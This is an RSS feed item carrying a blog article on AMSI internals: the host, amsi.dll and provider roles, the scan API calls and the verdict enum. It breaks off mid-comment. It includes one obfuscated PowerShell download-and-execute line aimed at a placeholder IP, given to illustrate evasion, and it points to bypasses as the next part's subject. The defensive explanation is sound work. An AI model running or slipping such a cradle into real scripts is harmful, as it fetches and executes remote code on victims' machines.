<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Red Team on HitCat</title>
        <link>https://blog.hitc.at/tags/red-team/</link>
        <description>Recent content in Red Team on HitCat</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>en-us</language>
        <copyright>HitCat</copyright>
        <lastBuildDate>Wed, 21 Oct 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://blog.hitc.at/tags/red-team/index.xml" rel="self" type="application/rss+xml" /><item>
            <title>AMSI Internals: how the Antimalware Scan Interface works</title>
            <link>https://blog.hitc.at/posts/articles/amsi/</link>
            <pubDate>Wed, 21 Oct 2026 00:00:00 +0000</pubDate>
            <guid>https://blog.hitc.at/posts/articles/amsi/</guid>
            <description>&lt;img src=&#34;https://blog.hitc.at/images/articles/amsi/amsi-cover.svg&#34; alt=&#34;Featured image of post AMSI Internals: how the Antimalware Scan Interface works&#34; /&gt;&lt;p&gt;A PowerShell one-liner can build its payload from string fragments, decode it in memory, and hand the result straight to the interpreter. Because no recognizable bytes ever touch the disk, classic antivirus never gets a chance to see them. AMSI is Microsoft&amp;rsquo;s answer to that gap. It does not scan anything on its own. Instead, it acts as a bus that carries content from the host to a scanner. This detail looks minor at first, but it explains how the feature is built and where it breaks.&lt;/p&gt;&#xA;&lt;p&gt;This is part 1 of two. Here we cover the plumbing: what AMSI is, who calls it, and what happens when a script runs. Part 2 pulls on the loose threads. Before you can reason about a bypass, you need to know exactly what it bypasses, so we start with the full picture.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-gap-it-was-built-to-close&#34;&gt;The gap it was built to close&#xA;&lt;/h2&gt;&lt;p&gt;Signature engines work on objects: a PE, a document, an archive. They open the file, map it, and match patterns. That model holds only as long as the malicious code exists as a file the engine can read.&lt;/p&gt;&#xA;&lt;p&gt;Scripting hosts make that failure easy to trigger:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;# Three layers of indirection, nothing suspicious on disk.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$a&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;IEX (New-Object Net.WebClient).DownloadStr&amp;#39;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;ing(&amp;#34;http://1.2.3.4/x&amp;#34;)&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;Invoke-Expression&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$a&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A file-based scanner looking at this sees &lt;code&gt;Invoke-Expression&lt;/code&gt;, a token that thousands of legitimate admin scripts use. The dangerous part arrives over the network, gets assembled in a variable, and is compiled from a string. Nothing crosses the disk boundary in a form worth flagging.&lt;/p&gt;&#xA;&lt;p&gt;Why not teach the engine to unwrap this? Vendors did try. Emulating string concatenation, base64 decoding, and a few common tricks is possible. But every language offers a dozen ways to join two strings, and the engine would have to model all of them, for every host, indefinitely. That is a race you cannot win.&lt;/p&gt;&#xA;&lt;p&gt;The key idea behind AMSI is this: &lt;strong&gt;obfuscation has to end somewhere&lt;/strong&gt;. Whatever the attacker did upstream, the interpreter eventually needs real, runnable code, and at that moment the content is plaintext. Instead of asking every engine to emulate every script host, the host hands its already-deobfuscated content to the engine at that exact point. AMSI is therefore a single interface, called at the one moment when hiding is no longer possible.&lt;/p&gt;&#xA;&lt;p&gt;One corollary matters a great deal later on. AMSI inspects &lt;strong&gt;the content the interpreter is about to run&lt;/strong&gt;, not the command line that launched the process, nor the argument you typed. These are separate telemetry sources.&lt;/p&gt;&#xA;&lt;p&gt;This is why disabling AMSI and disappearing from telemetry are two different things. The end of the article returns to this point.&lt;/p&gt;&#xA;&lt;h2 id=&#34;when-all-of-this-landed&#34;&gt;When all of this landed&#xA;&lt;/h2&gt;&lt;p&gt;Before trusting a timeline, I checked each date against a primary source, because the draft I started from had two of them wrong. Here is what holds up.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;&#x9;&lt;thead&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;Component&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;When&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;Source of truth&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&lt;/thead&gt;&#xA;&#x9;&lt;tbody&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;AMSI ships in the OS&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;Windows 10 / Server 2016 (2015)&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.theregister.com/2015/06/12/windows_10_antimalware_scan_interface/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;The Register — AMSI announced Jun 2015&lt;/a&gt;&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;PowerShell, WSH, JScript/VBScript&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;With AMSI itself&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MS Learn — AMSI portal (integrated hosts)&lt;/a&gt;&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;Office VBA macros&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;Announced Sept 2018, shipped in the Office 365 semi-annual channel Jan 2019&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.microsoft.com/en-us/security/blog/?p=85345&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MS Security blog&lt;/a&gt;&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;.NET Framework 4.8&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;April 2019&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/dotnet/framework/whats-new/#common-language-runtime&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MS Learn — What&amp;rsquo;s new in .NET Framework&lt;/a&gt;&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;Excel 4.0 (XLM) macros&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;2021&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;&lt;a class=&#34;link&#34; href=&#34;https://microsoft.com/security/blog/2021/03/03/xlm-amsi-new-runtime-defense-against-excel-4-0-macro-malware&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MS Security blog — XLM + AMSI&lt;/a&gt;&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;The exact dates matter less than the direction they point. AMSI started with PowerShell and kept adding every host attackers moved to. Once VBA got hooked, attackers switched to XLM, and XLM was hooked in turn.&lt;/p&gt;&#xA;&lt;h2 id=&#34;three-actors-kept-apart&#34;&gt;Three actors, kept apart&#xA;&lt;/h2&gt;&lt;p&gt;Most of the confusion around the AMSI API goes away once you stop treating it as one block and separate the three parties involved.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;AMSI architecture: the host hands plaintext content to amsi.dll, which routes it to the registered provider and returns a verdict&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://blog.hitc.at/images/articles/amsi/amsi-architecture.svg&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The host application&lt;/strong&gt; owns the content just before it executes, and it makes the calls. &lt;code&gt;PowerShell&lt;/code&gt;, &lt;code&gt;wscript.exe&lt;/code&gt; / &lt;code&gt;cscript.exe&lt;/code&gt;, &lt;code&gt;Office&lt;/code&gt;, the &lt;code&gt;CLR&lt;/code&gt;. A host that does not integrate produces no scan, since AMSI never reaches into a process that did not opt in. People often forget this part. AMSI does not run on its own, so something has to call it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;amsi.dll&lt;/code&gt;&lt;/strong&gt; is the thin, vendor-neutral shim in the middle. It exposes the C API to the host and knows how to locate and talk to whichever engine is registered on the machine. It routes requests, while the verdict comes from the engine.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The provider&lt;/strong&gt; is the actual engine, whether Defender or your EDR. It is a COM object implementing &lt;code&gt;IAntimalwareProvider&lt;/code&gt; (derived from &lt;code&gt;IUnknown&lt;/code&gt;), and three methods matter:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-cpp&#34; data-lang=&#34;cpp&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// Simplified from amsi.h. The provider receives content as a stream&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// and fills in an AMSI_RESULT. DisplayName() is the engine name that&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// gets surfaced back - handy when you&amp;#39;re triaging a host and want to&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// know who actually answered the scan.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;interface&lt;/span&gt; &lt;span class=&#34;nl&#34;&gt;IAntimalwareProvider&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IUnknown&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;HRESULT&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;Scan&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;AMSI_SCAN_CONTEXT&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;context&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IStream&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;content&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;AMSI_RESULT&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;result&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kt&#34;&gt;void&lt;/span&gt;    &lt;span class=&#34;nf&#34;&gt;CloseSession&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;HAMSISESSION&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;context&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;LPCWSTR&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;DisplayName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;void&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;};&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Two details matter later on. First, the provider loads as a &lt;strong&gt;DLL inside the host process&lt;/strong&gt;. From the host&amp;rsquo;s point of view, there is no RPC hop to a separate service. This is exactly why in-process tampering is possible at all: the component that decides your fate lives in your own address space. Second, the engine can be absent or unreachable while the host keeps running. Initialization succeeds, the scan returns a non-blocking verdict, and the script executes. In other words, AMSI fails open, and this is by design.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Starting with Windows 10 1903, an AMSI provider DLL that is not Authenticode-signed may refuse to load, depending on how the host is configured. The check is controlled by a &lt;code&gt;FeatureBits&lt;/code&gt; value under &lt;code&gt;HKLM\SOFTWARE\Microsoft\AMSI&lt;/code&gt;. The reason is the mirror image of the bypass problem: once providers are DLLs loaded into your own process, an unsigned provider is just an injection primitive with a nice name. The gate exists, but it would be a mistake to assume it is enforced the same way on every build.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;The provider is registered under &lt;code&gt;HKLM\SOFTWARE\Microsoft\AMSI\Providers\&lt;/code&gt;, keyed by CLSID. Defender&amp;rsquo;s entry is &lt;code&gt;{2781761E-28E0-4109-99FE-B9D127C57AFE}&lt;/code&gt;, which points to &lt;code&gt;MpOav.dll&lt;/code&gt; in the Defender platform folder. To find out which engine answers on a host, check that key and &lt;code&gt;DisplayName()&lt;/code&gt;. Those are the two reliable sources.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-call-chain-one-call-at-a-time&#34;&gt;The call chain, one call at a time&#xA;&lt;/h2&gt;&lt;p&gt;With the three actors in place, we can watch them interact. Every integrated host runs some version of this sequence, which you can check on any machine with &lt;code&gt;dumpbin /exports amsi.dll&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-cpp&#34; data-lang=&#34;cpp&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 1. Bind the host to the registered engine. One context per host.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;HRESULT&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;AmsiInitialize&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;LPCWSTR&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;appName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;HAMSICONTEXT&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;amsiContext&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;//    appName identifies the caller to the provider - this is the&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;//    &amp;#34;who is asking&amp;#34; the engine sees.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 2. Optional. A session lets the engine correlate several scans.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;HRESULT&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;AmsiOpenSession&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;HAMSICONTEXT&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;amsiContext&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;HAMSISESSION&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;amsiSession&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;//    Without it, fragments of one payload look harmless in isolation.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;//    With it, the engine ties them into a single, better-informed verdict.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 3. The actual question.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;HRESULT&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;AmsiScanBuffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;HAMSICONTEXT&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;c&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;PVOID&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ULONG&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                       &lt;span class=&#34;n&#34;&gt;LPCWSTR&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;contentName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;HAMSISESSION&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;s&lt;/span&gt; &lt;span class=&#34;cm&#34;&gt;/* optional */&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                       &lt;span class=&#34;n&#34;&gt;AMSI_RESULT&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;result&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;HRESULT&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;AmsiScanString&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;HAMSICONTEXT&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;c&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;LPCWSTR&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;LPCWSTR&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;contentName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                       &lt;span class=&#34;n&#34;&gt;HAMSISESSION&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;s&lt;/span&gt; &lt;span class=&#34;cm&#34;&gt;/* optional */&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;AMSI_RESULT&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;result&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;//    contentName is just metadata for the verdict (a filename, URL or&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;//    script ID) - not a path to open. The bytes are already in &amp;#39;buffer&amp;#39;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 4. AmsiCloseSession when the session is done.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 5. AmsiUninitialize when the host is done with the API entirely.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This part is often misread, yet it sits at the core of a whole family of bypasses. The &lt;code&gt;HRESULT&lt;/code&gt; and the verdict are separate things. &lt;code&gt;S_OK&lt;/code&gt; only means that a scan happened. The decision lives in the &lt;code&gt;AMSI_RESULT&lt;/code&gt; output parameter, and Microsoft recommends reading it through the &lt;code&gt;AmsiResultIsMalware&lt;/code&gt; macro rather than comparing the number by hand.&lt;/p&gt;&#xA;&lt;p&gt;Why the macro? Because the enum is not a set of independent flags. It is an ordered risk scale:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;AMSI_RESULT scale: clean at 0, admin-policy block between 16384 and 20479, malware at 32768 and above&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://blog.hitc.at/images/windows/amsi-verdict.svg&#34;&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-cpp&#34; data-lang=&#34;cpp&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;typedef&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;enum&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;AMSI_RESULT&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;AMSI_RESULT_CLEAN&lt;/span&gt;                  &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;      &lt;span class=&#34;c1&#34;&gt;// known good, won&amp;#39;t flip on a def update&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;AMSI_RESULT_NOT_DETECTED&lt;/span&gt;           &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;      &lt;span class=&#34;c1&#34;&gt;// nothing now; could change after an update&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;AMSI_RESULT_BLOCKED_BY_ADMIN_START&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;16384&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;  &lt;span class=&#34;c1&#34;&gt;// admin-policy block range - begin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;AMSI_RESULT_BLOCKED_BY_ADMIN_END&lt;/span&gt;   &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;20479&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;  &lt;span class=&#34;c1&#34;&gt;// admin-policy block range - end&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;AMSI_RESULT_DETECTED&lt;/span&gt;               &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;32768&lt;/span&gt;   &lt;span class=&#34;c1&#34;&gt;// malware&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;};&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// Anything the provider returns is an estimated risk level: higher = riskier.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 32768 and up means &amp;#34;do not run this.&amp;#34; The 16384–20479 band is a 